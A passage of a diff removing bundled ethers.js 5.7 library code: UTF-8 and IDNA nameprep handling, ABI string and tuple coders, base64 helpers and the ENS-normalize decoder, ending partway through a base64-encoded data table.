writer.writeValue(v); - } - decode(reader) { - let value = reader.readValue().mask(this.size * 8); - if (this.signed) { - value = value.fromTwos(this.size * 8); - } - return reader.coerce(this.name, value); - } - }; - - // node_modules/@ethersproject/strings/lib.esm/_version.js - var version28 = "strings/5.7.0"; - - // node_modules/@ethersproject/strings/lib.esm/utf8.js - var logger29 = new Logger2(version28); - var UnicodeNormalizationForm2; - (function(UnicodeNormalizationForm3) { - UnicodeNormalizationForm3["current"] = ""; - UnicodeNormalizationForm3["NFC"] = "NFC"; - UnicodeNormalizationForm3["NFD"] = "NFD"; - UnicodeNormalizationForm3["NFKC"] = "NFKC"; - UnicodeNormalizationForm3["NFKD"] = "NFKD"; - })(UnicodeNormalizationForm2 || (UnicodeNormalizationForm2 = {})); - var Utf8ErrorReason2; - (function(Utf8ErrorReason3) { - Utf8ErrorReason3["UNEXPECTED_CONTINUE"] = "unexpected continuation byte"; - Utf8ErrorReason3["BAD_PREFIX"] = "bad codepoint prefix"; - Utf8ErrorReason3["OVERRUN"] = "string overrun"; - Utf8ErrorReason3["MISSING_CONTINUE"] = "missing continuation byte"; - Utf8ErrorReason3["OUT_OF_RANGE"] = "out of UTF-8 range"; - Utf8ErrorReason3["UTF16_SURROGATE"] = "UTF-16 surrogate"; - Utf8ErrorReason3["OVERLONG"] = "overlong representation"; - })(Utf8ErrorReason2 || (Utf8ErrorReason2 = {})); - function errorFunc2(reason, offset, bytes, output, badCodepoint) { - return logger29.throwArgumentError(`invalid codepoint at offset ${offset}; ${reason}`, "bytes", bytes); - } - function ignoreFunc2(reason, offset, bytes, output, badCodepoint) { - if (reason === Utf8ErrorReason2.BAD_PREFIX || reason === Utf8ErrorReason2.UNEXPECTED_CONTINUE) { - let i = 0; - for (let o = offset + 1; o < bytes.length; o++) { - if (bytes[o] >> 6 !== 2) { - break; - } - i++; - } - return i; - } - if (reason === Utf8ErrorReason2.OVERRUN) { - return bytes.length - offset - 1; - } - return 0; - } - function replaceFunc2(reason, offset, bytes, output, badCodepoint) { - if (reason === Utf8ErrorReason2.OVERLONG) { - output.push(badCodepoint); - return 0; - } - output.push(65533); - return ignoreFunc2(reason, offset, bytes, output, badCodepoint); - } - var Utf8ErrorFuncs2 = Object.freeze({ - error: errorFunc2, - ignore: ignoreFunc2, - replace: replaceFunc2 - }); - function getUtf8CodePoints2(bytes, onError) { - if (onError == null) { - onError = Utf8ErrorFuncs2.error; - } - bytes = arrayify2(bytes); - const result = []; - let i = 0; - while (i < bytes.length) { - const c = bytes[i++]; - if (c >> 7 === 0) { - result.push(c); - continue; - } - let extraLength = null; - let overlongMask = null; - if ((c & 224) === 192) { - extraLength = 1; - overlongMask = 127; - } else if ((c & 240) === 224) { - extraLength = 2; - overlongMask = 2047; - } else if ((c & 248) === 240) { - extraLength = 3; - overlongMask = 65535; - } else { - if ((c & 192) === 128) { - i += onError(Utf8ErrorReason2.UNEXPECTED_CONTINUE, i - 1, bytes, result); - } else { - i += onError(Utf8ErrorReason2.BAD_PREFIX, i - 1, bytes, result); - } - continue; - } - if (i - 1 + extraLength >= bytes.length) { - i += onError(Utf8ErrorReason2.OVERRUN, i - 1, bytes, result); - continue; - } - let res = c & (1 << 8 - extraLength - 1) - 1; - for (let j = 0; j < extraLength; j++) { - let nextChar = bytes[i]; - if ((nextChar & 192) != 128) { - i += onError(Utf8ErrorReason2.MISSING_CONTINUE, i, bytes, result); - res = null; - break; - } - ; - res = res << 6 | nextChar & 63; - i++; - } - if (res === null) { - continue; - } - if (res > 1114111) { - i += onError(Utf8ErrorReason2.OUT_OF_RANGE, i - 1 - extraLength, bytes, result, res); - continue; - } - if (res >= 55296 && res <= 57343) { - i += onError(Utf8ErrorReason2.UTF16_SURROGATE, i - 1 - extraLength, bytes, result, res); - continue; - } - if (res <= overlongMask) { - i += onError(Utf8ErrorReason2.OVERLONG, i - 1 - extraLength, bytes, result, res); - continue; - } - result.push(res); - } - return result; - } - function toUtf8Bytes2(str, form = UnicodeNormalizationForm2.current) { - if (form != UnicodeNormalizationForm2.current) { - logger29.checkNormalize(); - str = str.normalize(form); - } - let result = []; - for (let i = 0; i < str.length; i++) { - const c = str.charCodeAt(i); - if (c < 128) { - result.push(c); - } else if (c < 2048) { - result.push(c >> 6 | 192); - result.push(c & 63 | 128); - } else if ((c & 64512) == 55296) { - i++; - const c2 = str.charCodeAt(i); - if (i >= str.length || (c2 & 64512) !== 56320) { - throw new Error("invalid utf-8 string"); - } - const pair = 65536 + ((c & 1023) << 10) + (c2 & 1023); - result.push(pair >> 18 | 240); - result.push(pair >> 12 & 63 | 128); - result.push(pair >> 6 & 63 | 128); - result.push(pair & 63 | 128); - } else { - result.push(c >> 12 | 224); - result.push(c >> 6 & 63 | 128); - result.push(c & 63 | 128); - } - } - return arrayify2(result); - } - function escapeChar(value) { - const hex = "0000" + value.toString(16); - return "\\u" + hex.substring(hex.length - 4); - } - function _toEscapedUtf8String(bytes, onError) { - return '"' + getUtf8CodePoints2(bytes, onError).map((codePoint) => { - if (codePoint < 256) { - switch (codePoint) { - case 8: - return "\\b"; - case 9: - return "\\t"; - case 10: - return "\\n"; - case 13: - return "\\r"; - case 34: - return '\\"'; - case 92: - return "\\\\"; - } - if (codePoint >= 32 && codePoint < 127) { - return String.fromCharCode(codePoint); - } - } - if (codePoint <= 65535) { - return escapeChar(codePoint); - } - codePoint -= 65536; - return escapeChar((codePoint >> 10 & 1023) + 55296) + escapeChar((codePoint & 1023) + 56320); - }).join("") + '"'; - } - function _toUtf8String2(codePoints) { - return codePoints.map((codePoint) => { - if (codePoint <= 65535) { - return String.fromCharCode(codePoint); - } - codePoint -= 65536; - return String.fromCharCode((codePoint >> 10 & 1023) + 55296, (codePoint & 1023) + 56320); - }).join(""); - } - function toUtf8String2(bytes, onError) { - return _toUtf8String2(getUtf8CodePoints2(bytes, onError)); - } - function toUtf8CodePoints2(str, form = UnicodeNormalizationForm2.current) { - return getUtf8CodePoints2(toUtf8Bytes2(str, form)); - } - - // node_modules/@ethersproject/strings/lib.esm/bytes32.js - function formatBytes32String(text) { - const bytes = toUtf8Bytes2(text); - if (bytes.length > 31) { - throw new Error("bytes32 string must be less than 32 bytes"); - } - return hexlify2(concat2([bytes, HashZero2]).slice(0, 32)); - } - function parseBytes32String(bytes) { - const data = arrayify2(bytes); - if (data.length !== 32) { - throw new Error("invalid bytes32 - not 32 bytes long"); - } - if (data[31] !== 0) { - throw new Error("invalid bytes32 string - no null terminator"); - } - let length = 31; - while (data[length - 1] === 0) { - length--; - } - return toUtf8String2(data.slice(0, length)); - } - - // node_modules/@ethersproject/strings/lib.esm/idna.js - function bytes2(data) { - if (data.length % 4 !== 0) { - throw new Error("bad data"); - } - let result = []; - for (let i = 0; i < data.length; i += 4) { - result.push(parseInt(data.substring(i, i + 4), 16)); - } - return result; - } - function createTable(data, func) { - if (!func) { - func = function(value) { - return [parseInt(value, 16)]; - }; - } - let lo = 0; - let result = {}; - data.split(",").forEach((pair) => { - let comps = pair.split(":"); - lo += parseInt(comps[0], 16); - result[lo] = func(comps[1]); - }); - return result; - } - function createRangeTable(data) { - let hi = 0; - return data.split(",").map((v) => { - let comps = v.split("-"); - if (comps.length === 1) { - comps[1] = "0"; - } else if (comps[1] === "") { - comps[1] = "1"; - } - let lo = hi + parseInt(comps[0], 16); - hi = parseInt(comps[1], 16); - return { l: lo, h: hi }; - }); - } - function matchMap(value, ranges) { - let lo = 0; - for (let i = 0; i < ranges.length; i++) { - let range = ranges[i]; - lo += range.l; - if (value >= lo && value <= lo + range.h && (value - lo) % (range.d || 1) === 0) { - if (range.e && range.e.indexOf(value - lo) !== -1) { - continue; - } - return range; - } - } - return null; - } - var Table_A_1_ranges = createRangeTable("221,13-1b,5f-,40-10,51-f,11-3,3-3,2-2,2-4,8,2,15,2d,28-8,88,48,27-,3-5,11-20,27-,8,28,3-5,12,18,b-a,1c-4,6-16,2-d,2-2,2,1b-4,17-9,8f-,10,f,1f-2,1c-34,33-14e,4,36-,13-,6-2,1a-f,4,9-,3-,17,8,2-2,5-,2,8-,3-,4-8,2-3,3,6-,16-6,2-,7-3,3-,17,8,3,3,3-,2,6-3,3-,4-a,5,2-6,10-b,4,8,2,4,17,8,3,6-,b,4,4-,2-e,2-4,b-10,4,9-,3-,17,8,3-,5-,9-2,3-,4-7,3-3,3,4-3,c-10,3,7-2,4,5-2,3,2,3-2,3-2,4-2,9,4-3,6-2,4,5-8,2-e,d-d,4,9,4,18,b,6-3,8,4,5-6,3-8,3-3,b-11,3,9,4,18,b,6-3,8,4,5-6,3-6,2,3-3,b-11,3,9,4,18,11-3,7-,4,5-8,2-7,3-3,b-11,3,13-2,19,a,2-,8-2,2-3,7,2,9-11,4-b,3b-3,1e-24,3,2-,3,2-,2-5,5,8,4,2,2-,3,e,4-,6,2,7-,b-,3-21,49,23-5,1c-3,9,25,10-,2-2f,23,6,3,8-2,5-5,1b-45,27-9,2a-,2-3,5b-4,45-4,53-5,8,40,2,5-,8,2,5-,28,2,5-,20,2,5-,8,2,5-,8,8,18,20,2,5-,8,28,14-5,1d-22,56-b,277-8,1e-2,52-e,e,8-a,18-8,15-b,e,4,3-b,5e-2,b-15,10,b-5,59-7,2b-555,9d-3,5b-5,17-,7-,27-,7-,9,2,2,2,20-,36,10,f-,7,14-,4,a,54-3,2-6,6-5,9-,1c-10,13-1d,1c-14,3c-,10-6,32-b,240-30,28-18,c-14,a0,115-,3,66-,b-76,5,5-,1d,24,2,5-2,2,8-,35-2,19,f-10,1d-3,311-37f,1b,5a-b,d7-19,d-3,41,57-,68-4,29-3,5f,29-37,2e-2,25-c,2c-2,4e-3,30,78-3,64-,20,19b7-49,51a7-59,48e-2,38-738,2ba5-5b,222f-,3c-94,8-b,6-4,1b,6,2,3,3,6d-20,16e-f,41-,37-7,2e-2,11-f,5-b,18-,b,14,5-3,6,88-,2,bf-2,7-,7-,7-,4-2,8,8-9,8-2ff,20,5-b,1c-b4,27-,27-cbb1,f7-9,28-2,b5-221,56,48,3-,2-,3-,5,d,2,5,3,42,5-,9,8,1d,5,6,2-2,8,153-3,123-3,33-27fd,a6da-5128,21f-5df,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3,2-1d,61-ff7d"); - var Table_B_1_flags = "ad,34f,1806,180b,180c,180d,200b,200c,200d,2060,feff".split(",").map((v) => parseInt(v, 16)); - var Table_B_2_ranges = [ - { h: 25, s: 32, l: 65 }, - { h: 30, s: 32, e: [23], l: 127 }, - { h: 54, s: 1, e: [48], l: 64, d: 2 }, - { h: 14, s: 1, l: 57, d: 2 }, - { h: 44, s: 1, l: 17, d: 2 }, - { h: 10, s: 1, e: [2, 6, 8], l: 61, d: 2 }, - { h: 16, s: 1, l: 68, d: 2 }, - { h: 84, s: 1, e: [18, 24, 66], l: 19, d: 2 }, - { h: 26, s: 32, e: [17], l: 435 }, - { h: 22, s: 1, l: 71, d: 2 }, - { h: 15, s: 80, l: 40 }, - { h: 31, s: 32, l: 16 }, - { h: 32, s: 1, l: 80, d: 2 }, - { h: 52, s: 1, l: 42, d: 2 }, - { h: 12, s: 1, l: 55, d: 2 }, - { h: 40, s: 1, e: [38], l: 15, d: 2 }, - { h: 14, s: 1, l: 48, d: 2 }, - { h: 37, s: 48, l: 49 }, - { h: 148, s: 1, l: 6351, d: 2 }, - { h: 88, s: 1, l: 160, d: 2 }, - { h: 15, s: 16, l: 704 }, - { h: 25, s: 26, l: 854 }, - { h: 25, s: 32, l: 55915 }, - { h: 37, s: 40, l: 1247 }, - { h: 25, s: -119711, l: 53248 }, - { h: 25, s: -119763, l: 52 }, - { h: 25, s: -119815, l: 52 }, - { h: 25, s: -119867, e: [1, 4, 5, 7, 8, 11, 12, 17], l: 52 }, - { h: 25, s: -119919, l: 52 }, - { h: 24, s: -119971, e: [2, 7, 8, 17], l: 52 }, - { h: 24, s: -120023, e: [2, 7, 13, 15, 16, 17], l: 52 }, - { h: 25, s: -120075, l: 52 }, - { h: 25, s: -120127, l: 52 }, - { h: 25, s: -120179, l: 52 }, - { h: 25, s: -120231, l: 52 }, - { h: 25, s: -120283, l: 52 }, - { h: 25, s: -120335, l: 52 }, - { h: 24, s: -119543, e: [17], l: 56 }, - { h: 24, s: -119601, e: [17], l: 58 }, - { h: 24, s: -119659, e: [17], l: 58 }, - { h: 24, s: -119717, e: [17], l: 58 }, - { h: 24, s: -119775, e: [17], l: 58 } - ]; - var Table_B_2_lut_abs = createTable("b5:3bc,c3:ff,7:73,2:253,5:254,3:256,1:257,5:259,1:25b,3:260,1:263,2:269,1:268,5:26f,1:272,2:275,7:280,3:283,5:288,3:28a,1:28b,5:292,3f:195,1:1bf,29:19e,125:3b9,8b:3b2,1:3b8,1:3c5,3:3c6,1:3c0,1a:3ba,1:3c1,1:3c3,2:3b8,1:3b5,1bc9:3b9,1c:1f76,1:1f77,f:1f7a,1:1f7b,d:1f78,1:1f79,1:1f7c,1:1f7d,107:63,5:25b,4:68,1:68,1:68,3:69,1:69,1:6c,3:6e,4:70,1:71,1:72,1:72,1:72,7:7a,2:3c9,2:7a,2:6b,1:e5,1:62,1:63,3:65,1:66,2:6d,b:3b3,1:3c0,6:64,1b574:3b8,1a:3c3,20:3b8,1a:3c3,20:3b8,1a:3c3,20:3b8,1a:3c3,20:3b8,1a:3c3"); - var Table_B_2_lut_rel = createTable("179:1,2:1,2:1,5:1,2:1,a:4f,a:1,8:1,2:1,2:1,3:1,5:1,3:1,4:1,2:1,3:1,4:1,8:2,1:1,2:2,1:1,2:2,27:2,195:26,2:25,1:25,1:25,2:40,2:3f,1:3f,33:1,11:-6,1:-9,1ac7:-3a,6d:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,b:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,c:-8,2:-8,2:-8,2:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,49:-8,1:-8,1:-4a,1:-4a,d:-56,1:-56,1:-56,1:-56,d:-8,1:-8,f:-8,1:-8,3:-7"); - var Table_B_2_complex = createTable("df:00730073,51:00690307,19:02BC006E,a7:006A030C,18a:002003B9,16:03B903080301,20:03C503080301,1d7:05650582,190f:00680331,1:00740308,1:0077030A,1:0079030A,1:006102BE,b6:03C50313,2:03C503130300,2:03C503130301,2:03C503130342,2a:1F0003B9,1:1F0103B9,1:1F0203B9,1:1F0303B9,1:1F0403B9,1:1F0503B9,1:1F0603B9,1:1F0703B9,1:1F0003B9,1:1F0103B9,1:1F0203B9,1:1F0303B9,1:1F0403B9,1:1F0503B9,1:1F0603B9,1:1F0703B9,1:1F2003B9,1:1F2103B9,1:1F2203B9,1:1F2303B9,1:1F2403B9,1:1F2503B9,1:1F2603B9,1:1F2703B9,1:1F2003B9,1:1F2103B9,1:1F2203B9,1:1F2303B9,1:1F2403B9,1:1F2503B9,1:1F2603B9,1:1F2703B9,1:1F6003B9,1:1F6103B9,1:1F6203B9,1:1F6303B9,1:1F6403B9,1:1F6503B9,1:1F6603B9,1:1F6703B9,1:1F6003B9,1:1F6103B9,1:1F6203B9,1:1F6303B9,1:1F6403B9,1:1F6503B9,1:1F6603B9,1:1F6703B9,3:1F7003B9,1:03B103B9,1:03AC03B9,2:03B10342,1:03B1034203B9,5:03B103B9,6:1F7403B9,1:03B703B9,1:03AE03B9,2:03B70342,1:03B7034203B9,5:03B703B9,6:03B903080300,1:03B903080301,3:03B90342,1:03B903080342,b:03C503080300,1:03C503080301,1:03C10313,2:03C50342,1:03C503080342,b:1F7C03B9,1:03C903B9,1:03CE03B9,2:03C90342,1:03C9034203B9,5:03C903B9,ac:00720073,5b:00B00063,6:00B00066,d:006E006F,a:0073006D,1:00740065006C,1:0074006D,124f:006800700061,2:00610075,2:006F0076,b:00700061,1:006E0061,1:03BC0061,1:006D0061,1:006B0061,1:006B0062,1:006D0062,1:00670062,3:00700066,1:006E0066,1:03BC0066,4:0068007A,1:006B0068007A,1:006D0068007A,1:00670068007A,1:00740068007A,15:00700061,1:006B00700061,1:006D00700061,1:006700700061,8:00700076,1:006E0076,1:03BC0076,1:006D0076,1:006B0076,1:006D0076,1:00700077,1:006E0077,1:03BC0077,1:006D0077,1:006B0077,1:006D0077,1:006B03C9,1:006D03C9,2:00620071,3:00632215006B0067,1:0063006F002E,1:00640062,1:00670079,2:00680070,2:006B006B,1:006B006D,9:00700068,2:00700070006D,1:00700072,2:00730076,1:00770062,c723:00660066,1:00660069,1:0066006C,1:006600660069,1:00660066006C,1:00730074,1:00730074,d:05740576,1:05740565,1:0574056B,1:057E0576,1:0574056D", bytes2); - var Table_C_ranges = createRangeTable("80-20,2a0-,39c,32,f71,18e,7f2-f,19-7,30-4,7-5,f81-b,5,a800-20ff,4d1-1f,110,fa-6,d174-7,2e84-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,2,1f-5f,ff7f-20001"); - function flatten(values) { - return values.reduce((accum, value) => { - value.forEach((value2) => { - accum.push(value2); - }); - return accum; - }, []); - } - function _nameprepTableA1(codepoint) { - return !!matchMap(codepoint, Table_A_1_ranges); - } - function _nameprepTableB2(codepoint) { - let range = matchMap(codepoint, Table_B_2_ranges); - if (range) { - return [codepoint + range.s]; - } - let codes = Table_B_2_lut_abs[codepoint]; - if (codes) { - return codes; - } - let shift = Table_B_2_lut_rel[codepoint]; - if (shift) { - return [codepoint + shift[0]]; - } - let complex = Table_B_2_complex[codepoint]; - if (complex) { - return complex; - } - return null; - } - function _nameprepTableC(codepoint) { - return !!matchMap(codepoint, Table_C_ranges); - } - function nameprep(value) { - if (value.match(/^[a-z0-9-]*$/i) && value.length <= 59) { - return value.toLowerCase(); - } - let codes = toUtf8CodePoints2(value); - codes = flatten(codes.map((code) => { - if (Table_B_1_flags.indexOf(code) >= 0) { - return []; - } - if (code >= 65024 && code <= 65039) { - return []; - } - let codesTableB2 = _nameprepTableB2(code); - if (codesTableB2) { - return codesTableB2; - } - return [code]; - })); - codes = toUtf8CodePoints2(_toUtf8String2(codes), UnicodeNormalizationForm2.NFKC); - codes.forEach((code) => { - if (_nameprepTableC(code)) { - throw new Error("STRINGPREP_CONTAINS_PROHIBITED"); - } - }); - codes.forEach((code) => { - if (_nameprepTableA1(code)) { - throw new Error("STRINGPREP_CONTAINS_UNASSIGNED"); - } - }); - let name = _toUtf8String2(codes); - if (name.substring(0, 1) === "-" || name.substring(2, 4) === "--" || name.substring(name.length - 1) === "-") { - throw new Error("invalid hyphen"); - } - return name; - } - - // node_modules/@ethersproject/abi/lib.esm/coders/string.js - var StringCoder = class extends DynamicBytesCoder { - constructor(localName) { - super("string", localName); - } - defaultValue() { - return ""; - } - encode(writer, value) { - return super.encode(writer, toUtf8Bytes2(value)); - } - decode(reader) { - return toUtf8String2(super.decode(reader)); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/coders/tuple.js - var TupleCoder = class extends Coder { - constructor(coders, localName) { - let dynamic = false; - const types = []; - coders.forEach((coder) => { - if (coder.dynamic) { - dynamic = true; - } - types.push(coder.type); - }); - const type = "tuple(" + types.join(",") + ")"; - super("tuple", type, localName, dynamic); - this.coders = coders; - } - defaultValue() { - const values = []; - this.coders.forEach((coder) => { - values.push(coder.defaultValue()); - }); - const uniqueNames = this.coders.reduce((accum, coder) => { - const name = coder.localName; - if (name) { - if (!accum[name]) { - accum[name] = 0; - } - accum[name]++; - } - return accum; - }, {}); - this.coders.forEach((coder, index2) => { - let name = coder.localName; - if (!name || uniqueNames[name] !== 1) { - return; - } - if (name === "length") { - name = "_length"; - } - if (values[name] != null) { - return; - } - values[name] = values[index2]; - }); - return Object.freeze(values); - } - encode(writer, value) { - return pack(writer, this.coders, value); - } - decode(reader) { - return reader.coerce(this.name, unpack(reader, this.coders)); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/abi-coder.js - var logger30 = new Logger2(version25); - var paramTypeBytes = new RegExp(/^bytes([0-9]*)$/); - var paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/); - var AbiCoder = class { - constructor(coerceFunc) { - defineReadOnly2(this, "coerceFunc", coerceFunc || null); - } - _getCoder(param) { - switch (param.baseType) { - case "address": - return new AddressCoder(param.name); - case "bool": - return new BooleanCoder(param.name); - case "string": - return new StringCoder(param.name); - case "bytes": - return new BytesCoder(param.name); - case "array": - return new ArrayCoder(this._getCoder(param.arrayChildren), param.arrayLength, param.name); - case "tuple": - return new TupleCoder((param.components || []).map((component) => { - return this._getCoder(component); - }), param.name); - case "": - return new NullCoder(param.name); - } - let match = param.type.match(paramTypeNumber); - if (match) { - let size = parseInt(match[2] || "256"); - if (size === 0 || size > 256 || size % 8 !== 0) { - logger30.throwArgumentError("invalid " + match[1] + " bit length", "param", param); - } - return new NumberCoder(size / 8, match[1] === "int", param.name); - } - match = param.type.match(paramTypeBytes); - if (match) { - let size = parseInt(match[1]); - if (size === 0 || size > 32) { - logger30.throwArgumentError("invalid bytes length", "param", param); - } - return new FixedBytesCoder(size, param.name); - } - return logger30.throwArgumentError("invalid type", "type", param.type); - } - _getWordSize() { - return 32; - } - _getReader(data, allowLoose) { - return new Reader(data, this._getWordSize(), this.coerceFunc, allowLoose); - } - _getWriter() { - return new Writer(this._getWordSize()); - } - getDefaultValue(types) { - const coders = types.map((type) => this._getCoder(ParamType.from(type))); - const coder = new TupleCoder(coders, "_"); - return coder.defaultValue(); - } - encode(types, values) { - if (types.length !== values.length) { - logger30.throwError("types/values length mismatch", Logger2.errors.INVALID_ARGUMENT, { - count: { types: types.length, values: values.length }, - value: { types, values } - }); - } - const coders = types.map((type) => this._getCoder(ParamType.from(type))); - const coder = new TupleCoder(coders, "_"); - const writer = this._getWriter(); - coder.encode(writer, values); - return writer.data; - } - decode(types, data, loose) { - const coders = types.map((type) => this._getCoder(ParamType.from(type))); - const coder = new TupleCoder(coders, "_"); - return coder.decode(this._getReader(arrayify2(data), loose)); - } - }; - var defaultAbiCoder = new AbiCoder(); - - // node_modules/@ethersproject/hash/lib.esm/id.js - function id2(text) { - return keccak2562(toUtf8Bytes2(text)); - } - - // node_modules/@ethersproject/hash/lib.esm/_version.js - var version29 = "hash/5.7.0"; - - // node_modules/@ethersproject/base64/lib.esm/index.js - var lib_exports3 = {}; - __export(lib_exports3, { - decode: () => decode4, - encode: () => encode7 - }); - - // node_modules/@ethersproject/base64/lib.esm/base64.js - function decode4(textData) { - textData = atob(textData); - const data = []; - for (let i = 0; i < textData.length; i++) { - data.push(textData.charCodeAt(i)); - } - return arrayify2(data); - } - function encode7(data) { - data = arrayify2(data); - let textData = ""; - for (let i = 0; i < data.length; i++) { - textData += String.fromCharCode(data[i]); - } - return btoa(textData); - } - - // node_modules/@ethersproject/hash/lib.esm/ens-normalize/decoder.js - function flat2(array, depth) { - if (depth == null) { - depth = 1; - } - const result = []; - const forEach2 = result.forEach; - const flatDeep = function(arr, depth2) { - forEach2.call(arr, function(val) { - if (depth2 > 0 && Array.isArray(val)) { - flatDeep(val, depth2 - 1); - } else { - result.push(val); - } - }); - }; - flatDeep(array, depth); - return result; - } - function fromEntries2(array) { - const result = {}; - for (let i = 0; i < array.length; i++) { - const value = array[i]; - result[value[0]] = value[1]; - } - return result; - } - function decode_arithmetic2(bytes) { - let pos = 0; - function u16() { - return bytes[pos++] << 8 | bytes[pos++]; - } - let symbol_count = u16(); - let total = 1; - let acc = [0, 1]; - for (let i = 1; i < symbol_count; i++) { - acc.push(total += u16()); - } - let skip = u16(); - let pos_payload = pos; - pos += skip; - let read_width = 0; - let read_buffer = 0; - function read_bit() { - if (read_width == 0) { - read_buffer = read_buffer << 8 | bytes[pos++]; - read_width = 8; - } - return read_buffer >> --read_width & 1; - } - const N2 = 31; - const FULL = Math.pow(2, N2); - const HALF = FULL >>> 1; - const QRTR = HALF >> 1; - const MASK = FULL - 1; - let register = 0; - for (let i = 0; i < N2; i++) - register = register << 1 | read_bit(); - let symbols = []; - let low = 0; - let range = FULL; - while (true) { - let value = Math.floor(((register - low + 1) * total - 1) / range); - let start = 0; - let end = symbol_count; - while (end - start > 1) { - let mid = start + end >>> 1; - if (value < acc[mid]) { - end = mid; - } else { - start = mid; - } - } - if (start == 0) - break; - symbols.push(start); - let a = low + Math.floor(range * acc[start] / total); - let b = low + Math.floor(range * acc[start + 1] / total) - 1; - while (((a ^ b) & HALF) == 0) { - register = register << 1 & MASK | read_bit(); - a = a << 1 & MASK; - b = b << 1 & MASK | 1; - } - while (a & ~b & QRTR) { - register = register & HALF | register << 1 & MASK >>> 1 | read_bit(); - a = a << 1 ^ HALF; - b = (b ^ HALF) << 1 | HALF | 1; - } - low = a; - range = 1 + b - a; - } - let offset = symbol_count - 4; - return symbols.map((x) => { - switch (x - offset) { - case 3: - return offset + 65792 + (bytes[pos_payload++] << 16 | bytes[pos_payload++] << 8 | bytes[pos_payload++]); - case 2: - return offset + 256 + (bytes[pos_payload++] << 8 | bytes[pos_payload++]); - case 1: - return offset + bytes[pos_payload++]; - default: - return x - 1; - } - }); - } - function read_payload2(v) { - let pos = 0; - return () => v[pos++]; - } - function read_compressed_payload2(bytes) { - return read_payload2(decode_arithmetic2(bytes)); - } - function signed2(i) { - return i & 1 ? ~i >> 1 : i >> 1; - } - function read_counts2(n, next) { - let v = Array(n); - for (let i = 0; i < n; i++) - v[i] = 1 + next(); - return v; - } - function read_ascending2(n, next) { - let v = Array(n); - for (let i = 0, x = -1; i < n; i++) - v[i] = x += 1 + next(); - return v; - } - function read_deltas2(n, next) { - let v = Array(n); - for (let i = 0, x = 0; i < n; i++) - v[i] = x += signed2(next()); - return v; - } - function read_member_array2(next, lookup) { - let v = read_ascending2(next(), next); - let n = next(); - let vX = read_ascending2(n, next); - let vN = read_counts2(n, next); - for (let i = 0; i < n; i++) { - for (let j = 0; j < vN[i]; j++) { - v.push(vX[i] + j); - } - } - return lookup ? v.map((x) => lookup[x]) : v; - } - function read_mapped_map2(next) { - let ret = []; - while (true) { - let w = next(); - if (w == 0) - break; - ret.push(read_linear_table2(w, next)); - } - while (true) { - let w = next() - 1; - if (w < 0) - break; - ret.push(read_replacement_table2(w, next)); - } - return fromEntries2(flat2(ret)); - } - function read_zero_terminated_array2(next) { - let v = []; - while (true) { - let i = next(); - if (i == 0) - break; - v.push(i); - } - return v; - } - function read_transposed2(n, w, next) { - let m = Array(n).fill(void 0).map(() => []); - for (let i = 0; i < w; i++) { - read_deltas2(n, next).forEach((x, j) => m[j].push(x)); - } - return m; - } - function read_linear_table2(w, next) { - let dx = 1 + next(); - let dy = next(); - let vN = read_zero_terminated_array2(next); - let m = read_transposed2(vN.length, 1 + w, next); - return flat2(m.map((v, i) => { - const x = v[0], ys = v.slice(1); - return Array(vN[i]).fill(void 0).map((_, j) => { - let j_dy = j * dy; - return [x + j * dx, ys.map((y) => y + j_dy)]; - }); - })); - } - function read_replacement_table2(w, next) { - let n = 1 + next(); - let m = read_transposed2(n, 1 + w, next); - return m.map((v) => [v[0], v.slice(1)]); - } - function read_emoji_trie2(next) { - let sorted = read_member_array2(next).sort((a, b) => a - b); - return read(); - function read() { - let branches = []; - while (true) { - let keys = read_member_array2(next, sorted); - if (keys.length == 0) - break; - branches.push({ set: new Set(keys), node: read() }); - } - branches.sort((a, b) => b.set.size - a.set.size); - let temp = next(); - let valid = temp % 3; - temp = temp / 3 | 0; - let fe0f = !!(temp & 1); - temp >>= 1; - let save = temp == 1; - let check = temp == 2; - return { branches, valid, fe0f, save, check }; - } - } - - // node_modules/@ethersproject/hash/lib.esm/ens-normalize/include.js - function getData2() { - return read_compressed_payload2(decode4("AEQF2AO2DEsA2wIrAGsBRABxAN8AZwCcAEwAqgA0AGwAUgByADcATAAVAFYAIQAyACEAKAAYAFgAGwAjABQAMAAmADIAFAAfABQAKwATACoADgAbAA8AHQAYABoAGQAxADgALAAoADwAEwA9ABMAGgARAA4ADwAWABMAFgAIAA8AHgQXBYMA5BHJAS8JtAYoAe4AExozi0UAH21tAaMnBT8CrnIyhrMDhRgDygIBUAEHcoFHUPe8AXBjAewCjgDQR8IICIcEcQLwATXCDgzvHwBmBoHNAqsBdBcUAykgDhAMShskMgo8AY8jqAQfAUAfHw8BDw87MioGlCIPBwZCa4ELatMAAMspJVgsDl8AIhckSg8XAHdvTwBcIQEiDT4OPhUqbyECAEoAS34Aej8Ybx83JgT/Xw8gHxZ/7w8RICxPHA9vBw+Pfw8PHwAPFv+fAsAvCc8vEr8ivwD/EQ8Bol8OEBa/A78hrwAPCU8vESNvvwWfHwNfAVoDHr+ZAAED34YaAdJPAK7PLwSEgDLHAGo1Pz8Pvx9fUwMrpb8O/58VTzAPIBoXIyQJNF8hpwIVAT8YGAUADDNBaX3RAMomJCg9EhUeA29MABsZBTMNJipjOhc19gcIDR8bBwQHEggCWi6DIgLuAQYA+BAFCha3A5XiAEsqM7UFFgFLhAMjFTMYE1Klnw74nRVBG/ASCm0BYRN/BrsU3VoWy+S0vV8LQx+vN8gF2AC2AK5EAWwApgYDKmAAroQ0NDQ0AT+OCg7wAAIHRAbpNgVcBV0APTA5BfbPFgMLzcYL/QqqA82eBALKCjQCjqYCht0/k2+OAsXQAoP3ASTKDgDw6ACKAUYCMpIKJpRaAE4A5womABzZvs0REEKiACIQAd5QdAECAj4Ywg/wGqY2AVgAYADYvAoCGAEubA0gvAY2ALAAbpbvqpyEAGAEpgQAJgAG7gAgAEACmghUFwCqAMpAINQIwC4DthRAAP